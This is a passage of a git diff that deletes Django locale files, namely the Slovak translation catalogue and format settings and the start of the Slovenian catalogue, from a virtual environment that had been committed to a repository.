"Image" -msgstr "Obrázok" - -msgid "A JSON object" -msgstr "Objekt typu JSON" - -msgid "Value must be valid JSON." -msgstr "Hodnota musí byť v platnom formáte JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "Inštancia modelu %(model)s s %(field)s %(value)r neexistuje." - -msgid "Foreign Key (type determined by related field)" -msgstr "Cudzí kľúč (typ určuje pole v relácii)" - -msgid "One-to-one relationship" -msgstr "Typ relácie: jedna k jednej" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "vzťah: %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "vzťahy: %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Typ relácie: M ku N" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Toto pole je povinné." - -msgid "Enter a whole number." -msgstr "Zadajte celé číslo." - -msgid "Enter a valid date." -msgstr "Zadajte platný dátum." - -msgid "Enter a valid time." -msgstr "Zadajte platný čas." - -msgid "Enter a valid date/time." -msgstr "Zadajte platný dátum/čas." - -msgid "Enter a valid duration." -msgstr "Zadajte platnú dobu trvania." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Počet dní musí byť medzi {min_days} a {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Súbor nebol odoslaný. Skontrolujte typ kódovania vo formulári." - -msgid "No file was submitted." -msgstr "Žiaden súbor nebol odoslaný." - -msgid "The submitted file is empty." -msgstr "Odoslaný súbor je prázdny." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Uistite sa, že názov súboru má najviac %(max)d znak (má %(length)d)." -msgstr[1] "" -"Uistite sa, že názov súboru má najviac %(max)d znaky (má %(length)d)." -msgstr[2] "" -"Uistite sa, že názov súboru má najviac %(max)d znakov (má %(length)d)." -msgstr[3] "" -"Uistite sa, že názov súboru má najviac %(max)d znakov (má %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Odošlite prosím súbor alebo zaškrtnite políčko pre vymazanie vstupného poľa, " -"nie oboje." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Nahrajte platný obrázok. Súbor, ktorý ste odoslali nebol obrázok alebo bol " -"poškodený." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Vyberte platnú voľbu. %(value)s nepatrí medzi dostupné možnosti." - -msgid "Enter a list of values." -msgstr "Zadajte zoznam hodnôt." - -msgid "Enter a complete value." -msgstr "Zadajte úplnú hodnotu." - -msgid "Enter a valid UUID." -msgstr "Zadajte platné UUID." - -msgid "Enter a valid JSON." -msgstr "Zadajte platný JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Skryté pole %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Dáta ManagementForm chýbajú alebo boli zmanipulované. Chýbajúce polia: " -"%(field_names)s. Možno budete musieť túto chybu nahlásiť, ak sa bude naďalej " -"vyskytovať." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Prosím, odošlite najviac %(num)d formulár." -msgstr[1] "Prosím, odošlite najviac %(num)d formuláre." -msgstr[2] "Prosím, odošlite najviac %(num)d formulárov." -msgstr[3] "Prosím, odošlite najviac %(num)d formulárov." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Prosím, odošlite aspoň %(num)d formulár." -msgstr[1] "Prosím, odošlite aspoň %(num)d formuláre." -msgstr[2] "Prosím, odošlite aspoň %(num)d formulárov." -msgstr[3] "Prosím, odošlite aspoň %(num)d formulárov." - -msgid "Order" -msgstr "Poradie" - -msgid "Delete" -msgstr "Odstrániť" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Prosím, opravte duplicitné údaje pre %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Údaje pre %(field)s musia byť jedinečné, prosím, opravte duplikáty." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Údaje pre %(field_name)s musia byť jedinečné pre %(lookup)s v " -"%(date_field)s, prosím, opravte duplikáty." - -msgid "Please correct the duplicate values below." -msgstr "Prosím, opravte nižšie uvedené duplicitné hodnoty. " - -msgid "The inline value did not match the parent instance." -msgstr "Vnorená hodnota sa nezhoduje s nadradenou inštanciou." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Vyberte platnú možnosť. Vybraná položka nepatrí medzi dostupné možnosti." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "„%(pk)s“ nie je platná hodnota." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"Hodnota %(datetime)s v časovej zóne %(current_timezone)s sa nedá " -"interpretovať; môže byť nejednoznačná alebo nemusí existovať." - -msgid "Clear" -msgstr "Vymazať" - -msgid "Currently" -msgstr "Súčasne" - -msgid "Change" -msgstr "Zmeniť" - -msgid "Unknown" -msgstr "Neznámy" - -msgid "Yes" -msgstr "Áno" - -msgid "No" -msgstr "Nie" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "áno,nie,možno" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bajt" -msgstr[1] "%(size)d bajty" -msgstr[2] "%(size)d bajtov" -msgstr[3] "%(size)d bajtov" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "popoludní" - -msgid "a.m." -msgstr "predpoludním" - -msgid "PM" -msgstr "popoludní" - -msgid "AM" -msgstr "predpoludním" - -msgid "midnight" -msgstr "polnoc" - -msgid "noon" -msgstr "poludnie" - -msgid "Monday" -msgstr "pondelok" - -msgid "Tuesday" -msgstr "utorok" - -msgid "Wednesday" -msgstr "streda" - -msgid "Thursday" -msgstr "štvrtok" - -msgid "Friday" -msgstr "piatok" - -msgid "Saturday" -msgstr "sobota" - -msgid "Sunday" -msgstr "nedeľa" - -msgid "Mon" -msgstr "po" - -msgid "Tue" -msgstr "ut" - -msgid "Wed" -msgstr "st" - -msgid "Thu" -msgstr "št" - -msgid "Fri" -msgstr "pi" - -msgid "Sat" -msgstr "so" - -msgid "Sun" -msgstr "ne" - -msgid "January" -msgstr "január" - -msgid "February" -msgstr "február" - -msgid "March" -msgstr "marec" - -msgid "April" -msgstr "apríl" - -msgid "May" -msgstr "máj" - -msgid "June" -msgstr "jún" - -msgid "July" -msgstr "júl" - -msgid "August" -msgstr "august" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "október" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "december" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "máj" - -msgid "jun" -msgstr "jún" - -msgid "jul" -msgstr "júl" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "mar." - -msgctxt "abbrev. month" -msgid "April" -msgstr "apr." - -msgctxt "abbrev. month" -msgid "May" -msgstr "máj" - -msgctxt "abbrev. month" -msgid "June" -msgstr "jún" - -msgctxt "abbrev. month" -msgid "July" -msgstr "júl" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "sep." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "dec." - -msgctxt "alt. month" -msgid "January" -msgstr "január" - -msgctxt "alt. month" -msgid "February" -msgstr "február" - -msgctxt "alt. month" -msgid "March" -msgstr "marec" - -msgctxt "alt. month" -msgid "April" -msgstr "apríl" - -msgctxt "alt. month" -msgid "May" -msgstr "máj" - -msgctxt "alt. month" -msgid "June" -msgstr "jún" - -msgctxt "alt. month" -msgid "July" -msgstr "júl" - -msgctxt "alt. month" -msgid "August" -msgstr "august" - -msgctxt "alt. month" -msgid "September" -msgstr "september" - -msgctxt "alt. month" -msgid "October" -msgstr "október" - -msgctxt "alt. month" -msgid "November" -msgstr "november" - -msgctxt "alt. month" -msgid "December" -msgstr "december" - -msgid "This is not a valid IPv6 address." -msgstr "Toto nieje platná IPv6 adresa." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "alebo" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d rok" -msgstr[1] "%(num)d roky" -msgstr[2] "%(num)d rokov" -msgstr[3] "%(num)d rokov" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mesiac" -msgstr[1] "%(num)d mesiace" -msgstr[2] "%(num)d mesiacov" -msgstr[3] "%(num)d mesiacov" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d týždeň" -msgstr[1] "%(num)d týždne" -msgstr[2] "%(num)d týždňov" -msgstr[3] "%(num)d týždňov" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d deň" -msgstr[1] "%(num)d dni" -msgstr[2] "%(num)d dní" -msgstr[3] "%(num)d dní" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d hodina" -msgstr[1] "%(num)d hodiny" -msgstr[2] "%(num)d hodín" -msgstr[3] "%(num)d hodiny" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minúta" -msgstr[1] "%(num)d minúty" -msgstr[2] "%(num)d minút" -msgstr[3] "%(num)d minúty" - -msgid "Forbidden" -msgstr "Zakázané (Forbidden)" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF verifikázia zlyhala. Požiadavka bola prerušená." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Túto správu vidíte, pretože táto stránka na protokole HTTPS vyžaduje, aby " -"váš prehliadač zaslal hlavičku „Referer„, k čomu nedošlo. Táto hlavička je " -"vyžadovaná z bezpečnostných dôvodov pre kontrolu toho, že sa prehliadača " -"nezmocnila tretia strana." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Ak ste vo vašom prehliadači vypli hlavičky „Referer“, tak ich prosím " -"zapnite, alebo aspoň pre túto stránku, alebo pre HTTPS pripojenia, alebo pre " -"požiadavky „same-origin“." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Ak používate tag , alebo " -"vkladáte hlavičku „Referrer-Policy: no-referrer“, prosím odstránte ich. " -"Ochrana CSRF vyžaduje hlavičku „Referer“ na striktnú kontrolu. Ak máte obavy " -"o súkromie, použite alternatívy ako pre linky na " -"iné stránky." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Túto správu vidíte, pretože táto lokalita vyžaduje CSRF cookie pri " -"odosielaní formulárov. Toto cookie je potrebné na zabezpečenie toho, že váš " -"prehliadač nie je zneužitý - „hijack“." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Ak ste vypli cookies vo vašom prehliadači, tak ich prosím zapnite, aspoň pre " -"túto stránku, alebo pre požiadavky „same-origin“." - -msgid "More information is available with DEBUG=True." -msgstr "Viac informácií bude dostupných s DEBUG=True." - -msgid "No year specified" -msgstr "Nešpecifikovaný rok" - -msgid "Date out of range" -msgstr "Dátum je mimo rozsahu" - -msgid "No month specified" -msgstr "Nešpecifikovaný mesiac" - -msgid "No day specified" -msgstr "Nešpecifikovaný deň" - -msgid "No week specified" -msgstr "Nešpecifikovaný týždeň" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s nie sú dostupné" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Budúce %(verbose_name_plural)s nie sú dostupné pretože %(class_name)s." -"allow_future má hodnotu False. " - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Neplatný dátumový reťazec „%(datestr)s“ pre formát „%(format)s“" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" -"Nebol nájdený žiadny %(verbose_name)s zodpovedajúci databázovému dopytu" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Stránka nemá hodnotu „last“ a taktiež nie je možné prekonvertovať hodnotu na " -"celé číslo." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Nesprávna stránka (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Zoznam je prázdny a hodnota „%(class_name)s.allow_empty“ je False." - -msgid "Directory indexes are not allowed here." -msgstr "Výpis adresárov tu nieje povolený." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "„%(path)s“ neexistuje" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Výpis %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Inštalácia prebehla úspešne! Gratulujeme!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Zobraziť poznámky k vydaniu pre Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Táto stránka sa zobrazuje pretože máte DEBUG=True v súbore s nastaveniami a nie sú " -"nakonfigurované žiadne URL." - -msgid "Django Documentation" -msgstr "Dokumentácia Django" - -msgid "Topics, references, & how-to’s" -msgstr "Témy, referencie a návody" - -msgid "Tutorial: A Polling App" -msgstr "Tutoriál: Aplikácia „Hlasovania“" - -msgid "Get started with Django" -msgstr "Začíname s Django" - -msgid "Django Community" -msgstr "Komunita Django" - -msgid "Connect, get help, or contribute" -msgstr "Spojte sa, získajte pomoc, alebo prispejte" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sk/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/sk/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sk/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/sk/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 51ed819b..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sk/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sk/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/sk/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index d6814ccd..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sk/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sk/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/sk/formats.py deleted file mode 100644 index 31d49122..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sk/formats.py +++ /dev/null @@ -1,30 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. F Y" -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "j. F Y G:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y G:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' - "%y-%m-%d", # '06-10-25' - # "%d. %B %Y", # '25. October 2006' - # "%d. %b. %Y", # '25. Oct. 2006' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sl/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/sl/LC_MESSAGES/django.mo deleted file mode 100644 index 10e198e5..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sl/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sl/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/sl/LC_MESSAGES/django.po deleted file mode 100644 index 4b5f932b..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sl/LC_MESSAGES/django.po +++ /dev/null @@ -1,1351 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Andrej Marsetič, 2022-2023 -# iElectric , 2011-2012 -# Jannis Leidel , 2011 -# Jure Cuhalev , 2012-2013 -# Marko Zabreznik , 2016 -# Primoz Verdnik , 2017 -# zejn , 2013,2016-2017 -# zejn , 2011-2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 11:41-0300\n" -"PO-Revision-Date: 2023-12-04 06:49+0000\n" -"Last-Translator: Andrej Marsetič, 2022-2023\n" -"Language-Team: Slovenian (http://app.transifex.com/django/django/language/" -"sl/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sl\n" -"Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || " -"n%100==4 ? 2 : 3);\n" - -msgid "Afrikaans" -msgstr "Afrikanščina" - -msgid "Arabic" -msgstr "Arabščina" - -msgid "Algerian Arabic" -msgstr "alžirska arabščina" - -msgid "Asturian" -msgstr "Asturijski jezik" - -msgid "Azerbaijani" -msgstr "Azerbajdžanščina" - -msgid "Bulgarian" -msgstr "Bolgarščina" - -msgid "Belarusian" -msgstr "Belorusko" - -msgid "Bengali" -msgstr "Bengalščina" - -msgid "Breton" -msgstr "Bretonščina" - -msgid "Bosnian" -msgstr "Bosanščina" - -msgid "Catalan" -msgstr "Katalonščina" - -msgid "Central Kurdish (Sorani)" -msgstr "" - -msgid "Czech" -msgstr "Češčina" - -msgid "Welsh" -msgstr "Valežanski jezik" - -msgid "Danish" -msgstr "Danščina" - -msgid "German" -msgstr "Nemščina" - -msgid "Lower Sorbian" -msgstr "Dolnjelužiška srbščina" - -msgid "Greek" -msgstr "Grščina" - -msgid "English" -msgstr "Angleščina" - -msgid "Australian English" -msgstr "Avstralska angleščina" - -msgid "British English" -msgstr "Britanska Angleščina" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Španščina" - -msgid "Argentinian Spanish" -msgstr "Argentinska španščina" - -msgid "Colombian Spanish" -msgstr "Kolumbijska španščina" - -msgid "Mexican Spanish" -msgstr "Mehiška španščina" - -msgid "Nicaraguan Spanish" -msgstr "Nikaragvijska španščina" - -msgid "Venezuelan Spanish" -msgstr "Španščina (Venezuela)" - -msgid "Estonian" -msgstr "Estonščina" - -msgid "Basque" -msgstr "Baskovščina" - -msgid "Persian" -msgstr "Perzijščina" - -msgid "Finnish" -msgstr "Finščina" - -msgid "French" -msgstr "Francoščina" - -msgid "Frisian" -msgstr "Frizijščina" - -msgid "Irish" -msgstr "Irščina" - -msgid "Scottish Gaelic" -msgstr "Škotska gelščina" - -msgid "Galician" -msgstr "Galičanski jezik" - -msgid "Hebrew" -msgstr "Hebrejski jezik" - -msgid "Hindi" -msgstr "Hindujščina" - -msgid "Croatian" -msgstr "Hrvaščina" - -msgid "Upper Sorbian" -msgstr "Gornjelužiška srbščina" - -msgid "Hungarian" -msgstr "Madžarščina" - -msgid "Armenian" -msgstr "armenščina" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonezijski" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "Jezik Ido" - -msgid "Icelandic" -msgstr "Islandski jezik" - -msgid "Italian" -msgstr "Italijanščina" - -msgid "Japanese" -msgstr "Japonščina" - -msgid "Georgian" -msgstr "Gruzijščina" - -msgid "Kabyle" -msgstr "Kabilski jezik" - -msgid "Kazakh" -msgstr "Kazaščina" - -msgid "Khmer" -msgstr "Kmerščina" - -msgid "Kannada" -msgstr "Kanareščina" - -msgid "Korean" -msgstr "Korejščina" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Luksemburščina" - -msgid "Lithuanian" -msgstr "Litvanščina" - -msgid "Latvian" -msgstr "Latvijščina" - -msgid "Macedonian" -msgstr "Makedonščina" - -msgid "Malayalam" -msgstr "Malajalščina" - -msgid "Mongolian" -msgstr "Mongolščina" - -msgid "Marathi" -msgstr "Jezik Marathi" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "Burmanski jezik" - -msgid "Norwegian Bokmål" -msgstr "Norveški jezik" - -msgid "Nepali" -msgstr "Nepalščina" - -msgid "Dutch" -msgstr "Nizozemščina" - -msgid "Norwegian Nynorsk" -msgstr "Norveščina Nynorsk" - -msgid "Ossetic" -msgstr "Osetski jezik" - -msgid "Punjabi" -msgstr "Pandžabščina" - -msgid "Polish" -msgstr "Poljščina" - -msgid "Portuguese" -msgstr "Portugalščina" - -msgid "Brazilian Portuguese" -msgstr "Brazilska portugalščina" - -msgid "Romanian" -msgstr "Romunščina" - -msgid "Russian" -msgstr "Ruščina" - -msgid "Slovak" -msgstr "Slovaščina" - -msgid "Slovenian" -msgstr "Slovenščina" - -msgid "Albanian" -msgstr "Albanščina" - -msgid "Serbian" -msgstr "Srbščina" - -msgid "Serbian Latin" -msgstr "Srbščina v latinici" - -msgid "Swedish" -msgstr "Švedščina" - -msgid "Swahili" -msgstr "Svahili" - -msgid "Tamil" -msgstr "Tamilščina" - -msgid "Telugu" -msgstr "Teluščina" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Tajski jezik" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Turščina" - -msgid "Tatar" -msgstr "Tatarščina" - -msgid "Udmurt" -msgstr "Udmurski jezik" - -msgid "Uyghur" -msgstr "" - -msgid "Ukrainian" -msgstr "Ukrajinščina" - -msgid "Urdu" -msgstr "Jezik Urdu" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Vietnamščina" - -msgid "Simplified Chinese" -msgstr "Poenostavljena kitajščina" - -msgid "Traditional Chinese" -msgstr "Tradicionalna kitajščina" - -msgid "Messages" -msgstr "Sporočila" - -msgid "Site Maps" -msgstr "Zemljevid spletnega mesta" - -msgid "Static Files" -msgstr "Statične datoteke" - -msgid "Syndication" -msgstr "Sindiciranje" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Število te strani ni naravno število" - -msgid "That page number is less than 1" -msgstr "Število te strani je manj kot 1" - -msgid "That page contains no results" -msgstr "Ta stran nima zadetkov" - -msgid "Enter a valid value." -msgstr "Vnesite veljavno vrednost." - -msgid "Enter a valid URL." -msgstr "Vnesite veljaven URL naslov." - -msgid "Enter a valid integer." -msgstr "Vnesite veljavno celo število." - -msgid "Enter a valid email address." -msgstr "Vnesite veljaven e-poštni naslov." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Vnesite veljaven IPv4 naslov." - -msgid "Enter a valid IPv6 address." -msgstr "Vnesite veljaven IPv6 naslov." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Vnesite veljaven IPv4 ali IPv6 naslov." - -msgid "Enter only digits separated by commas." -msgstr "Vnesite samo števila, ločena z vejicami." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Poskrbite, da bo ta vrednost %(limit_value)s. Trenutno je %(show_value)s." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Poskrbite, da bo ta vrednost manj kot ali natanko %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Poskrbite, da bo ta vrednost večja ali enaka %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Preverite, da ima ta vrednost vsaj %(limit_value)d znak (trenutno ima " -"%(show_value)d)." -msgstr[1] "" -"Preverite, da ima ta vrednost vsaj %(limit_value)d znaka (trenutno ima " -"%(show_value)d)." -msgstr[2] "" -"Preverite, da ima ta vrednost vsaj %(limit_value)d znake (trenutno ima " -"%(show_value)d)." -msgstr[3] "" -"Preverite, da ima ta vrednost vsaj %(limit_value)d znakov (trenutno ima " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Preverite, da ima ta vrednost največ %(limit_value)d znak (trenutno ima " -"%(show_value)d)." -msgstr[1] "" -"Preverite, da ima ta vrednost največ %(limit_value)d znaka (trenutno ima " -"%(show_value)d)." -msgstr[2] "" -"Preverite, da ima ta vrednost največ %(limit_value)d znake (trenutno ima " -"%(show_value)d)." -msgstr[3] "" -"Preverite, da ima ta vrednost največ %(limit_value)d znakov (trenutno ima " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Vnesite število." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Poskrbite, da skupno ne bo več kot %(max)s števka." -msgstr[1] "Poskrbite, da skupno ne bosta več kot %(max)s števki." -msgstr[2] "Poskrbite, da skupno ne bojo več kot %(max)s števke." -msgstr[3] "Poskrbite, da skupno ne bo več kot %(max)s števk." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Poskrbite, da skupno ne bo več kot %(max)s decimalnih mesto." -msgstr[1] "Poskrbite, da skupno ne bosta več kot %(max)s decimalnih mesti." -msgstr[2] "Poskrbite, da skupno ne bo več kot %(max)s decimalnih mest." -msgstr[3] "Poskrbite, da skupno ne bo več kot %(max)s decimalnih mest." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Poskrbite, da skupno ne bo več kot %(max)s števka pred decimalno vejico." -msgstr[1] "" -"Poskrbite, da skupno ne bosta več kot %(max)s števki pred decimalno vejico." -msgstr[2] "" -"Poskrbite, da skupno ne bo več kot %(max)s števk pred decimalno vejico." -msgstr[3] "" -"Poskrbite, da skupno ne bo več kot %(max)s števk pred decimalno vejico." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "Znak null ni dovoljen." - -msgid "and" -msgstr "in" - -#, python-format -msgid "%(model_name)s 